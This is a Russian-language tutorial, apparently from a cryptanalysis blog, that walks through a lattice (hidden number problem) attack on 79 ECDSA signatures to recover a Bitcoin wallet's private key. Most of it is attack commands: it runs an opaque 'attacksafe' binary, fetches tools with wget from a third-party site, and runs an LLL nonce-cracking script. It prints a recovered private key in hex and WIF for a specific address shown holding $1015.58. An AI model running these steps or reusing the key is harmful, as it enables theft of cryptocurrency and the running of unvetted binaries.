LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA
В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA.
Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.
Все что нам нужно это решить проблему скрытых чисел.
В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.
За теоретическую основу мы будем брать материалы:
“Lattice Attack on Bitcoin”
Рассмотрим пример с Биткоин Адресом:
RawTX
"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................
Перейдем на официальный сайт: https://colab.research.google.com
Выберем опцию “Upload notebook”
Загрузим файл: LATTICE_ATTACK_249bits.ipynb
Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt
Запустим код и получим нужные нам биты RawTX
Чтобы реализовать атаку мы воспользуемся программным обеспечение
Права доступа:
!chmod +x attacksafe
ls
Применение:
!./attacksafe -help
!./attacksafe -version
Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
Выберем -tool: lattice_attack
Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv
Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath
Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.b... !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
Перейдем по каталогу:
cd SageMath/
ls
Запустим Python-script: relocate-once.py по команде:
!python3 relocate-once.py
Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
ls
Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget
Теперь запустим SageMath по команде:
!./sage -sh
Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Откроем файл: PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX формате
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Результат:
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Установим модуль bitcoin
!pip3 install bitcoin
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Откроем файл: PrivateKeyAddr.txt
9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
Откроем bitaddress и проверим:
ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
BALANCE: $ 1015.58